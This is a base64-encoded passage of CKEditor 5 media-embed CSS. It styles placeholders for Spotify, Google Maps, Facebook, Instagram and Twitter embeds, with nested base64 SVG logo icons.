XHRtYXJnaW4tYm90dG9tOiB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKTtcblx0XHRcdGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjtcblx0XHRcdGJhY2tncm91bmQtc2l6ZTogY292ZXI7XG5cblx0XHRcdCYgLmNrLWljb24ge1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0fVxuXHRcdH1cblxuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9fdXJsX190ZXh0IHtcblx0XHRcdGNvbG9yOiB2YXIoLS1jay1jb2xvci1tZWRpYS1lbWJlZC1wbGFjZWhvbGRlci11cmwtdGV4dCk7XG5cdFx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdFx0Zm9udC1zdHlsZTogaXRhbGljO1xuXHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRjb2xvcjogdmFyKC0tY2stY29sb3ItbWVkaWEtZW1iZWQtcGxhY2Vob2xkZXItdXJsLXRleHQtaG92ZXIpO1xuXHRcdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0XHRcdHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdCZbZGF0YS1vZW1iZWQtdXJsKj0ib3Blbi5zcG90aWZ5LmNvbSJdIHtcblx0XHRtYXgtd2lkdGg6IDMwMHB4O1xuXHRcdG1heC1oZWlnaHQ6IDM4MHB4O1xuXHR9XG5cblx0JltkYXRhLW9lbWJlZC11cmwqPSJnb29nbGUuY29tL21hcHMiXSAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX19pY29uIHtcblx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhkcFpIUm9QU0l5TlRBdU16YzRJaUJvWldsbmFIUTlJakkxTkM0eE5qY2lJSFpwWlhkQ2IzZzlJakFnTUNBMk5pNHlORFlnTmpjdU1qUTRJajQ4WnlCMGNtRnVjMlp2Y20wOUluUnlZVzV6YkdGMFpTZ3RNVGN5TGpVek1TQXRNakU0TGpRMU5Ta2djMk5oYkdVb0xqazRNREV5S1NJK1BISmxZM1FnY25rOUlqVXVNak00SWlCeWVEMGlOUzR5TXpnaUlIazlJakl6TVM0ek9Ua2lJSGc5SWpFM05pNHdNekVpSUdobGFXZG9kRDBpTmpBdU1EazVJaUIzYVdSMGFEMGlOakF1TURrNUlpQm1hV3hzUFNJak16UmhOalk0SWlCd1lXbHVkQzF2Y21SbGNqMGliV0Z5YTJWeWN5QnpkSEp2YTJVZ1ptbHNiQ0l2UGp4d1lYUm9JR1E5SWsweU1EWXVORGMzSURJMk1DNDViQzB5T0M0NU9EY2dNamd1T1RnM1lUVXVNakU0SURVdU1qRTRJREFnTUNBd0lETXVOemdnTVM0Mk1XZzBPUzQyTWpGak1TNDJPVFFnTUNBekxqRTVMUzQzT1RnZ05DNHhORFl0TWk0d016ZDZJaUJtYVd4c1BTSWpOV000T0dNMUlpOCtQSEJoZEdnZ1pEMGlUVEl5Tmk0M05ESWdNakl5TGprNE9HTXRPUzR5TmpZZ01DMHhOaTQzTnpjZ055NHhOeTB4Tmk0M056Y2dNVFl1TURFMExqQXdOeUF5TGpjMk1pNDJOak1nTlM0ME56UWdNaTR3T1RNZ055NDROelV1TkRNdU56QXpMamd6SURFdU5EQTRJREV1TVRrZ01pNHhNRGN1TXpNekxqVXdNaTQyTlNBeExqQXdOUzQ1TlNBeExqVXdPQzR6TkRNdU5EYzNMalkzTXk0NU5UY3VPVGc0SURFdU5EUWdNUzR6TVNBeExqYzJPU0F5TGpVZ015NDFNRElnTXk0Mk16Y2dOUzR4TmpndU56a3pJREV1TWpjMUlERXVOamd6SURJdU5qUWdNaTQwTmpZZ015NDVPU0F5TGpNMk15QTBMakE1TkNBMExqQXdOeUE0TGpBNU1pQTBMallnTVRNdU9URTBkaTR3TVRKakxqRTRNaTQwTVRJdU5URTJMalkyTmk0NE56a3VOalkzTGpRd015MHVNREF4TGpjMk9DMHVNekUwTGprekxTNDNPVGt1TmpBekxUVXVOelUySURJdU1qTTRMVGt1TnpJNUlEUXVOVGcxTFRFekxqYzVOQzQzT0RJdE1TNHpOU0F4TGpZM015MHlMamN4TlNBeUxqUTJOUzB6TGprNUlERXVNVE0zTFRFdU5qWTJJREl1TXpJNExUTXVOQ0F6TGpZek9DMDFMakUyT1M0ek1UVXRMalE0TWk0Mk5EVXRMamsyTWk0NU9EZ3RNUzQwTXprdU15MHVOVEF6TGpZeE55MHhMakF3Tmk0NU5TMHhMalV3T0M0ek5Ua3RMamN1TnpZdE1TNDBNRFFnTVM0eE9TMHlMakV3TnlBeExqUXlOaTB5TGpRd01pQXlMVFV1TVRFMElESXVNREEwTFRjdU9EYzFJREF0T0M0NE5EUXROeTQxTVRFdE1UWXVNREUwTFRFMkxqYzNOaTB4Tmk0d01UUjZJaUJtYVd4c1BTSWpaR1EwWWpObElpQndZV2x1ZEMxdmNtUmxjajBpYldGeWEyVnljeUJ6ZEhKdmEyVWdabWxzYkNJdlBqeGxiR3hwY0hObElISjVQU0kxTGpVMk5DSWdjbmc5SWpVdU9ESTRJaUJqZVQwaU1qTTVMakF3TWlJZ1kzZzlJakl5Tmk0M05ESWlJR1pwYkd3OUlpTTRNREprTWpjaUlIQmhhVzUwTFc5eVpHVnlQU0p0WVhKclpYSnpJSE4wY205clpTQm1hV3hzSWk4K1BIQmhkR2dnWkQwaVRURTVNQzR6TURFZ01qTTNMakk0TTJNdE5DNDJOeUF3TFRndU5EVTNJRE11T0RVekxUZ3VORFUzSURndU5qQTJjek11TnpnMklEZ3VOakEzSURndU5EVTNJRGd1TmpBM1l6TXVNRFF6SURBZ05DNDRNRFl0TGprMU9DQTJMak16TnkweUxqVXhOaUF4TGpVekxURXVOVFUzSURJdU1EZzNMVE11T1RFeklESXVNRGczTFRZdU1qa2dNQzB1TXpZeUxTNHdNak10TGpjeU1pMHVNRFkwTFRFdU1EYzVhQzA0TGpJMU4zWXpMakEwTTJnMExqZzFZeTB1TVRrM0xqYzFPUzB1TlRNeElERXVORFV0TVM0d05UZ2dNUzQ1T0RZdExqazBNaTQ1TlRndE1pNHdNamdnTVM0MU5EZ3RNeTQ1TURFZ01TNDFORGd0TWk0NE56WWdNQzAxTGpJd09DMHlMak0zTWkwMUxqSXdPQzAxTGpJNU9TQXdMVEl1T1RJMklESXVNek15TFRVdU1qazVJRFV1TWpBNExUVXVNams1SURFdU16azVJREFnTWk0Mk1UZ3VOREEzSURNdU5UZzBJREV1TWpremJESXVNemd4TFRJdU16aGpNQzB1TURBeUxTNHdNRE10TGpBd05DMHVNREEwTFM0d01EVXRNUzQxT0RndE1TNDFNalF0TXk0Mk1pMHlMakl4TlMwMUxqazFOUzB5TGpJeE5YcHROQzQwTXlBMUxqWTJiQzR3TURNdU1EQTJkaTB1TURBemVpSWdabWxzYkQwaUkyWm1aaUlnY0dGcGJuUXRiM0prWlhJOUltMWhjbXRsY25NZ2MzUnliMnRsSUdacGJHd2lMejQ4Y0dGMGFDQmtQU0pOTWpFMUxqRTROQ0F5TlRFdU9USTViQzAzTGprNElEY3VPVGM1SURJNExqUTNOeUF5T0M0ME56VmpMakk0TnkwdU5qUTVMalEwT1MweExqTTJOaTQwTkRrdE1pNHhNak4yTFRNeExqRTJOV010TGpRMk9TNDJOelV0TGprek5DQXhMak0wT1MweExqTTRNaUF5TGpBd05TMHVOemt5SURFdU1qYzFMVEV1TmpneUlESXVOalF0TWk0ME5qVWdNeTQ1T1MweUxqTTBOeUEwTGpBMk5TMHpMams0TWlBNExqQXpPQzAwTGpVNE5TQXhNeTQzT1RRdExqRTJNaTQwT0RVdExqVXlOeTQzT1RndExqa3pMamM1T1MwdU16WXpMUzR3TURFdExqWTVOeTB1TWpVMUxTNDROemt0TGpZMk4zWXRMakF4TW1NdExqVTVNeTAxTGpneU1pMHlMakl6TnkwNUxqZ3lMVFF1TmkweE15NDVNVFF0TGpjNE15MHhMak0xTFRFdU5qY3pMVEl1TnpFMUxUSXVORFkyTFRNdU9Ua3RNUzR4TXpjdE1TNDJOall0TWk0ek1qY3RNeTQwTFRNdU5qTTNMVFV1TVRZNWJDMHVNREF5TFM0d01ETjZJaUJtYVd4c1BTSWpZek5qTTJNeklpOCtQSEJoZEdnZ1pEMGlUVEl4TWk0NU9ETWdNalE0TGpRNU5Xd3RNell1T1RVeUlETTJMamsxTTNZdU9ERXlZVFV1TWpJM0lEVXVNakkzSURBZ01DQXdJRFV1TWpNNElEVXVNak00YURFdU1ERTFiRE0xTGpZMk5pMHpOUzQyTmpaaE1UTTJMakkzTlNBeE16WXVNamMxSURBZ01DQXdMVEl1TnpZMExUTXVPU0F6Tnk0MU56VWdNemN1TlRjMUlEQWdNQ0F3TFM0NU9Ea3RNUzQwTkdNdExqSTVPUzB1TlRBekxTNDJNVFl0TVM0d01EWXRMamsxTFRFdU5UQTRMUzR3T0RNdExqRTJNaTB1TVRjMkxTNHpNall0TGpJMk5DMHVORGc1ZWlJZ1ptbHNiRDBpSTJaa1pHTTBaaUlnY0dGcGJuUXRiM0prWlhJOUltMWhjbXRsY25NZ2MzUnliMnRsSUdacGJHd2lMejQ4Y0dGMGFDQmtQU0pOTWpFeExqazVPQ0F5TmpFdU1EZ3piQzAyTGpFMU1pQTJMakUxTVNBeU5DNHlOalFnTWpRdU1qWTBhQzQzT0RGaE5TNHlNamNnTlM0eU1qY2dNQ0F3SURBZ05TNHlNemt0TlM0eU16aDJMVEV1TURRMWVpSWdabWxzYkQwaUkyWm1aaUlnY0dGcGJuUXRiM0prWlhJOUltMWhjbXRsY25NZ2MzUnliMnRsSUdacGJHd2lMejQ4TDJjK1BDOXpkbWMrKTtcblx0fVxuXG5cdCZbZGF0YS1vZW1iZWQtdXJsKj0iZmFjZWJvb2suY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlciB7XG5cdFx0YmFja2dyb3VuZDogaHNsKDIyMCwgNDYlLCA0OCUpO1xuXG5cdFx0JiAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX19pY29uIHtcblx0XHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybChkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBEOTRiV3dnZG1WeWMybHZiajBpTVM0d0lpQmxibU52WkdsdVp6MGlWVlJHTFRnaVB6NDhjM1puSUhkcFpIUm9QU0l4TURJMGNIZ2lJR2hsYVdkb2REMGlNVEF5TkhCNElpQjJhV1YzUW05NFBTSXdJREFnTVRBeU5DQXhNREkwSWlCMlpYSnphVzl1UFNJeExqRWlJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHlNREF3TDNOMlp5SWdlRzFzYm5NNmVHeHBibXM5SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpFNU9Ua3ZlR3hwYm1zaVBpQWdJQ0FnSUNBZ1BIUnBkR3hsUGtacGJHd2dNVHd2ZEdsMGJHVStJQ0FnSUR4a1pYTmpQa055WldGMFpXUWdkMmwwYUNCVGEyVjBZMmd1UEM5a1pYTmpQaUFnSUNBOFpHVm1jejQ4TDJSbFpuTStJQ0FnSUR4bklHbGtQU0pRWVdkbExURWlJSE4wY205clpUMGlibTl1WlNJZ2MzUnliMnRsTFhkcFpIUm9QU0l4SWlCbWFXeHNQU0p1YjI1bElpQm1hV3hzTFhKMWJHVTlJbVYyWlc1dlpHUWlQaUFnSUNBZ0lDQWdQR2NnYVdROUltWk1iMmR2WDFkb2FYUmxJaUJtYVd4c1BTSWpSa1pHUmtaRklqNGdJQ0FnSUNBZ0lDQWdJQ0E4Y0dGMGFDQmtQU0pOT1RZM0xqUTROQ3d3SUV3MU5pNDFNVGNzTUNCRE1qVXVNekEwTERBZ01Dd3lOUzR6TURRZ01DdzFOaTQxTVRjZ1REQXNPVFkzTGpRNE15QkRNQ3c1T1RndU5qazBJREkxTGpJNU55d3hNREkwSURVMkxqVXlNaXd4TURJMElFdzFORGNzTVRBeU5DQk1OVFEzTERZeU9DQk1OREUwTERZeU9DQk1OREUwTERRM015Qk1OVFEzTERRM015Qk1OVFEzTERNMU9TNHdNamtnUXpVME55d3lNall1TnpZM0lEWXlOeTQzTnpNc01UVTBMamMwTnlBM05EVXVOelUyTERFMU5DNDNORGNnUXpnd01pNHlOamtzTVRVMExqYzBOeUE0TlRBdU9EUXlMREUxT0M0NU5UVWdPRFkxTERFMk1DNDRNellnVERnMk5Td3lPVGtnVERjNE15NHpPRFFzTWprNUxqQXpOeUJETnpFNUxqTTVNU3d5T1RrdU1ETTNJRGN3Tnl3ek1qa3VOVEk1SURjd055d3pOelF1TWpjeklFdzNNRGNzTkRjeklFdzROakF1TkRnM0xEUTNNeUJNT0RRd0xqVXdNU3cyTWpnZ1REY3dOeXcyTWpnZ1REY3dOeXd4TURJMElFdzVOamN1TkRnMExERXdNalFnUXprNU9DNDJPVGNzTVRBeU5DQXhNREkwTERrNU9DNDJPVGNnTVRBeU5DdzVOamN1TkRnMElFd3hNREkwTERVMkxqVXhOU0JETVRBeU5Dd3lOUzR6TURNZ09UazRMalk1Tnl3d0lEazJOeTQwT0RRc01DSWdhV1E5SWtacGJHd3RNU0krUEM5d1lYUm9QaUFnSUNBZ0lDQWdQQzluUGlBZ0lDQThMMmMrUEM5emRtYyspO1xuXHRcdH1cblxuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9fdXJsX190ZXh0IHtcblx0XHRcdGNvbG9yOiBoc2woMjIwLCAxMDAlLCA5MCUpO1xuXG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0Y29sb3I6IGhzbCgwLCAwJSwgMTAwJSk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0JltkYXRhLW9lbWJlZC11cmwqPSJpbnN0YWdyYW0uY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlciB7XG5cdFx0YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KC0xMzVkZWcsaHNsKDI0NiwgMTAwJSwgMzklKSxoc2woMzAyLCAxMDAlLCAzNiUpLGhzbCgwLCAxMDAlLCA0OCUpKTtcblxuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQRDk0Yld3Z2RtVnljMmx2YmowaU1TNHdJaUJsYm1OdlpHbHVaejBpVlZSR0xUZ2lQejQ4YzNabklIZHBaSFJvUFNJMU1EUndlQ0lnYUdWcFoyaDBQU0kxTURSd2VDSWdkbWxsZDBKdmVEMGlNQ0F3SURVd05DQTFNRFFpSUhabGNuTnBiMjQ5SWpFdU1TSWdlRzFzYm5NOUltaDBkSEE2THk5M2QzY3Vkek11YjNKbkx6SXdNREF2YzNabklpQjRiV3h1Y3pwNGJHbHVhejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TVRrNU9TOTRiR2x1YXlJK0lDQWdJQ0FnSUNBOGRHbDBiR1UrWjJ4NWNHZ3RiRzluYjE5TllYa3lNREUyUEM5MGFYUnNaVDRnSUNBZ1BHUmxjMk0rUTNKbFlYUmxaQ0IzYVhSb0lGTnJaWFJqYUM0OEwyUmxjMk0rSUNBZ0lEeGtaV1p6UGlBZ0lDQWdJQ0FnUEhCdmJIbG5iMjRnYVdROUluQmhkR2d0TVNJZ2NHOXBiblJ6UFNJd0lEQXVNVFU1SURVd015NDROREVnTUM0eE5Ua2dOVEF6TGpnME1TQTFNRE11T1RRZ01DQTFNRE11T1RRaVBqd3ZjRzlzZVdkdmJqNGdJQ0FnUEM5a1pXWnpQaUFnSUNBOFp5QnBaRDBpWjJ4NWNHZ3RiRzluYjE5TllYa3lNREUySWlCemRISnZhMlU5SW01dmJtVWlJSE4wY205clpTMTNhV1IwYUQwaU1TSWdabWxzYkQwaWJtOXVaU0lnWm1sc2JDMXlkV3hsUFNKbGRtVnViMlJrSWo0Z0lDQWdJQ0FnSUR4bklHbGtQU0pIY205MWNDMHpJajRnSUNBZ0lDQWdJQ0FnSUNBOGJXRnpheUJwWkQwaWJXRnpheTB5SWlCbWFXeHNQU0ozYUdsMFpTSStJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lEeDFjMlVnZUd4cGJtczZhSEpsWmowaUkzQmhkR2d0TVNJK1BDOTFjMlUrSUNBZ0lDQWdJQ0FnSUNBZ1BDOXRZWE5yUGlBZ0lDQWdJQ0FnSUNBZ0lEeG5JR2xrUFNKRGJHbHdMVElpUGp3dlp6NGdJQ0FnSUNBZ0lDQWdJQ0E4Y0dGMGFDQmtQU0pOTWpVeExqa3lNU3d3TGpFMU9TQkRNVGd6TGpVd015d3dMakUxT1NBeE56UXVPVEkwTERBdU5EUTVJREUwT0M0d05UUXNNUzQyTnpVZ1F6RXlNUzR5TkN3eUxqZzVPQ0F4TURJdU9USTNMRGN1TVRVM0lEZzJMamt3TXl3eE15NHpPRFVnUXpjd0xqTXpOeXd4T1M0NE1qSWdOVFl1TWpnNExESTRMalF6TmlBME1pNHlPRElzTkRJdU5EUXhJRU15T0M0eU56Y3NOVFl1TkRRM0lERTVMalkyTXl3M01DNDBPVFlnTVRNdU1qSTJMRGczTGpBMk1pQkROaTQ1T1Rnc01UQXpMakE0TmlBeUxqY3pPU3d4TWpFdU16azVJREV1TlRFMkxERTBPQzR5TVRNZ1F6QXVNamtzTVRjMUxqQTRNeUF3TERFNE15NDJOaklnTUN3eU5USXVNRGdnUXpBc016SXdMalE1TnlBd0xqSTVMRE15T1M0d056WWdNUzQxTVRZc016VTFMamswTmlCRE1pNDNNemtzTXpneUxqYzJJRFl1T1RrNExEUXdNUzR3TnpNZ01UTXVNakkyTERReE55NHdPVGNnUXpFNUxqWTJNeXcwTXpNdU5qWXpJREk0TGpJM055dzBORGN1TnpFeUlEUXlMakk0TWl3ME5qRXVOekU0SUVNMU5pNHlPRGdzTkRjMUxqY3lNeUEzTUM0ek16Y3NORGcwTGpNek55QTROaTQ1TURNc05Ea3dMamMzTlNCRE1UQXlMamt5Tnl3ME9UY3VNREF5SURFeU1TNHlOQ3cxTURFdU1qWXhJREUwT0M0d05UUXNOVEF5TGpRNE5DQkRNVGMwTGpreU5DdzFNRE11TnpFZ01UZ3pMalV3TXl3MU1EUWdNalV4TGpreU1TdzFNRFFnUXpNeU1DNHpNemdzTlRBMElETXlPQzQ1TVRjc05UQXpMamN4SURNMU5TNDNPRGNzTlRBeUxqUTROQ0JETXpneUxqWXdNU3cxTURFdU1qWXhJRFF3TUM0NU1UUXNORGszTGpBd01pQTBNVFl1T1RNNExEUTVNQzQzTnpVZ1F6UXpNeTQxTURRc05EZzBMak16TnlBME5EY3VOVFV6TERRM05TNDNNak1nTkRZeExqVTFPU3cwTmpFdU56RTRJRU0wTnpVdU5UWTBMRFEwTnk0M01USWdORGcwTGpFM09DdzBNek11TmpZeklEUTVNQzQyTVRZc05ERTNMakE1TnlCRE5EazJMamcwTXl3ME1ERXVNRGN6SURVd01TNHhNRElzTXpneUxqYzJJRFV3TWk0ek1qVXNNelUxTGprME5pQkROVEF6TGpVMU1Td3pNamt1TURjMklEVXdNeTQ0TkRFc016SXdMalE1TnlBMU1ETXVPRFF4TERJMU1pNHdPQ0JETlRBekxqZzBNU3d4T0RNdU5qWXlJRFV3TXk0MU5URXNNVGMxTGpBNE15QTFNREl1TXpJMUxERTBPQzR5TVRNZ1F6VXdNUzR4TURJc01USXhMak01T1NBME9UWXVPRFF6TERFd015NHdPRFlnTkRrd0xqWXhOaXc0Tnk0d05qSWdRelE0TkM0eE56Z3NOekF1TkRrMklEUTNOUzQxTmpRc05UWXVORFEzSURRMk1TNDFOVGtzTkRJdU5EUXhJRU0wTkRjdU5UVXpMREk0TGpRek5pQTBNek11TlRBMExERTVMamd5TWlBME1UWXVPVE00TERFekxqTTROU0JETkRBd0xqa3hOQ3czTGpFMU55QXpPREl1TmpBeExESXVPRGs0SURNMU5TNDNPRGNzTVM0Mk56VWdRek15T0M0NU1UY3NNQzQwTkRrZ016SXdMak16T0N3d0xqRTFPU0F5TlRFdU9USXhMREF1TVRVNUlGb2dUVEkxTVM0NU1qRXNORFV1TlRVZ1F6TXhPUzR4T0RZc05EVXVOVFVnTXpJM0xqRTFOQ3cwTlM0NE1EY2dNelV6TGpjeE9DdzBOeTR3TVRrZ1F6TTNPQzR5T0N3ME9DNHhNemtnTXpreExqWXhPU3cxTWk0eU5ETWdOREF3TGpRNU5pdzFOUzQyT1RNZ1F6UXhNaTR5TlRVc05qQXVNall6SURReU1DNDJORGNzTmpVdU56SXlJRFF5T1M0ME5qSXNOelF1TlRNNElFTTBNemd1TWpjNExEZ3pMak0xTXlBME5ETXVOek0zTERreExqYzBOU0EwTkRndU16QTNMREV3TXk0MU1EUWdRelExTVM0M05UY3NNVEV5TGpNNE1TQTBOVFV1T0RZeExERXlOUzQzTWlBME5UWXVPVGd4TERFMU1DNHlPRElnUXpRMU9DNHhPVE1zTVRjMkxqZzBOaUEwTlRndU5EVXNNVGcwTGpneE5DQTBOVGd1TkRVc01qVXlMakE0SUVNME5UZ3VORFVzTXpFNUxqTTBOU0EwTlRndU1Ua3pMRE15Tnk0ek1UTWdORFUyTGprNE1Td3pOVE11T0RjM0lFTTBOVFV1T0RZeExETTNPQzQwTXprZ05EVXhMamMxTnl3ek9URXVOemM0SURRME9DNHpNRGNzTkRBd0xqWTFOU0JETkRRekxqY3pOeXcwTVRJdU5ERTBJRFF6T0M0eU56Z3NOREl3TGpnd05pQTBNamt1TkRZeUxEUXlPUzQyTWpFZ1F6UXlNQzQyTkRjc05ETTRMalF6TnlBME1USXVNalUxTERRME15NDRPVFlnTkRBd0xqUTVOaXcwTkRndU5EWTJJRU16T1RFdU5qRTVMRFExTVM0NU1UWWdNemM0TGpJNExEUTFOaTR3TWlBek5UTXVOekU0TERRMU55NHhOQ0JETXpJM0xqRTFPQ3cwTlRndU16VXlJRE14T1M0eE9URXNORFU0TGpZd09TQXlOVEV1T1RJeExEUTFPQzQyTURrZ1F6RTROQzQyTlN3ME5UZ3VOakE1SURFM05pNDJPRFFzTkRVNExqTTFNaUF4TlRBdU1USXpMRFExTnk0eE5DQkRNVEkxTGpVMk1TdzBOVFl1TURJZ01URXlMakl5TWl3ME5URXVPVEUySURFd015NHpORFVzTkRRNExqUTJOaUJET1RFdU5UZzJMRFEwTXk0NE9UWWdPRE11TVRrMExEUXpPQzQwTXpjZ056UXVNemM1TERReU9TNDJNakVnUXpZMUxqVTJOQ3cwTWpBdU9EQTJJRFl3TGpFd05DdzBNVEl1TkRFMElEVTFMalV6TkN3ME1EQXVOalUxSUVNMU1pNHdPRFFzTXpreExqYzNPQ0EwTnk0NU9Dd3pOemd1TkRNNUlEUTJMamcyTERNMU15NDROemNnUXpRMUxqWTBPQ3d6TWpjdU16RXpJRFExTGpNNU1Td3pNVGt1TXpRMUlEUTFMak01TVN3eU5USXVNRGdnUXpRMUxqTTVNU3d4T0RRdU9ERTBJRFExTGpZME9Dd3hOell1T0RRMklEUTJMamcyTERFMU1DNHlPRElnUXpRM0xqazRMREV5TlM0M01pQTFNaTR3T0RRc01URXlMak00TVNBMU5TNDFNelFzTVRBekxqVXdOQ0JETmpBdU1UQTBMRGt4TGpjME5TQTJOUzQxTmpNc09ETXVNelV6SURjMExqTTNPU3czTkM0MU16Z2dRemd6TGpFNU5DdzJOUzQzTWpJZ09URXVOVGcyTERZd0xqSTJNeUF4TURNdU16UTFMRFUxTGpZNU15QkRNVEV5TGpJeU1pdzFNaTR5TkRNZ01USTFMalUyTVN3ME9DNHhNemtnTVRVd0xqRXlNeXcwTnk0d01Ua2dRekUzTmk0Mk9EY3NORFV1T0RBM0lERTROQzQyTlRVc05EVXVOVFVnTWpVeExqa3lNU3cwTlM0MU5TQmFJaUJwWkQwaVJtbHNiQzB4SWlCbWFXeHNQU0lqUmtaR1JrWkdJaUJ0WVhOclBTSjFjbXdvSTIxaGMyc3RNaWtpUGp3dmNHRjBhRDRnSUNBZ0lDQWdJRHd2Wno0Z0lDQWdJQ0FnSUR4d1lYUm9JR1E5SWsweU5URXVPVEl4TERNek5pNHdOVE1nUXpJd05TNDFORE1zTXpNMkxqQTFNeUF4TmpjdU9UUTNMREk1T0M0ME5UY2dNVFkzTGprME55d3lOVEl1TURnZ1F6RTJOeTQ1TkRjc01qQTFMamN3TWlBeU1EVXVOVFF6TERFMk9DNHhNRFlnTWpVeExqa3lNU3d4TmpndU1UQTJJRU15T1RndU1qazRMREUyT0M0eE1EWWdNek0xTGpnNU5Dd3lNRFV1TnpBeUlETXpOUzQ0T1RRc01qVXlMakE0SUVNek16VXVPRGswTERJNU9DNDBOVGNnTWprNExqSTVPQ3d6TXpZdU1EVXpJREkxTVM0NU1qRXNNek0yTGpBMU15QmFJRTB5TlRFdU9USXhMREV5TWk0M01UVWdRekU0TUM0ME56UXNNVEl5TGpjeE5TQXhNakl1TlRVMkxERTRNQzQyTXpNZ01USXlMalUxTml3eU5USXVNRGdnUXpFeU1pNDFOVFlzTXpJekxqVXlOaUF4T0RBdU5EYzBMRE00TVM0ME5EUWdNalV4TGpreU1Td3pPREV1TkRRMElFTXpNak11TXpZM0xETTRNUzQwTkRRZ016Z3hMakk0TlN3ek1qTXVOVEkySURNNE1TNHlPRFVzTWpVeUxqQTRJRU16T0RFdU1qZzFMREU0TUM0Mk16TWdNekl6TGpNMk55d3hNakl1TnpFMUlESTFNUzQ1TWpFc01USXlMamN4TlNCYUlpQnBaRDBpUm1sc2JDMDBJaUJtYVd4c1BTSWpSa1pHUmtaR0lqNDhMM0JoZEdnK0lDQWdJQ0FnSUNBOGNHRjBhQ0JrUFNKTk5ERTJMall5Tnl3eE1UY3VOakEwSUVNME1UWXVOakkzTERFek5DNHpJRFF3TXk0d09USXNNVFEzTGpnek5DQXpPRFl1TXprMkxERTBOeTQ0TXpRZ1F6TTJPUzQzTURFc01UUTNMamd6TkNBek5UWXVNVFkyTERFek5DNHpJRE0xTmk0eE5qWXNNVEUzTGpZd05DQkRNelUyTGpFMk5pd3hNREF1T1RBNElETTJPUzQzTURFc09EY3VNemN6SURNNE5pNHpPVFlzT0RjdU16Y3pJRU0wTURNdU1Ea3lMRGczTGpNM015QTBNVFl1TmpJM0xERXdNQzQ1TURnZ05ERTJMall5Tnl3eE1UY3VOakEwSWlCcFpEMGlSbWxzYkMwMUlpQm1hV3hzUFNJalJrWkdSa1pHSWo0OEwzQmhkR2crSUNBZ0lEd3ZaejQ4TDNOMlp6ND0pO1xuXHRcdH1cblxuXHRcdC8qIHN0eWxlbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1kZXNjZW5kaW5nLXNwZWNpZmljaXR5ICovXG5cdFx0JiAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX191cmxfX3RleHQge1xuXHRcdFx0Y29sb3I6IGhzbCgzMDIsIDEwMCUsIDk0JSk7XG5cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRjb2xvcjogaHNsKDAsIDAlLCAxMDAlKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHQmW2RhdGEtb2VtYmVkLXVybCo9InR3aXR0ZXIuY29tIl0gLmNrLmNrLW1lZGlhX19wbGFjZWhvbGRlciB7XG5cdFx0LyogVXNlIGdyYWRpZW50IHRvIGNvbnRyYXN0IHdpdGggZm9jdXNlZCB3aWRnZXQgKGNrZWRpdG9yL2NrZWRpdG9yNS1tZWRpYS1lbWJlZCMyMikuICovXG5cdFx0YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KCB0byByaWdodCwgaHNsKDIwMSwgODUlLCA3MCUpLCBoc2woMjAxLCA4NSUsIDM1JSkgKTtcblxuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQRDk0Yld3Z2RtVnljMmx2YmowaU1TNHdJaUJsYm1OdlpHbHVaejBpZFhSbUxUZ2lQejQ4YzNabklIWmxjbk5wYjI0OUlqRXVNU0lnYVdROUlsZG9hWFJsSWlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhodGJHNXpPbmhzYVc1clBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNoc2FXNXJJaUI0UFNJd2NIZ2lJSGs5SWpCd2VDSWdkbWxsZDBKdmVEMGlNQ0F3SURRd01DQTBNREFpSUhOMGVXeGxQU0psYm1GaWJHVXRZbUZqYTJkeWIzVnVaRHB1WlhjZ01DQXdJRFF3TUNBME1EQTdJaUI0Yld3NmMzQmhZMlU5SW5CeVpYTmxjblpsSWo0OGMzUjViR1VnZEhsd1pUMGlkR1Y0ZEM5amMzTWlQaTV6ZERCN1ptbHNiRG9qUmtaR1JrWkdPMzA4TDNOMGVXeGxQanh3WVhSb0lHTnNZWE56UFNKemREQWlJR1E5SWswME1EQXNNakF3WXpBc01URXdMalV0T0RrdU5Td3lNREF0TWpBd0xESXdNRk13TERNeE1DNDFMREFzTWpBd1V6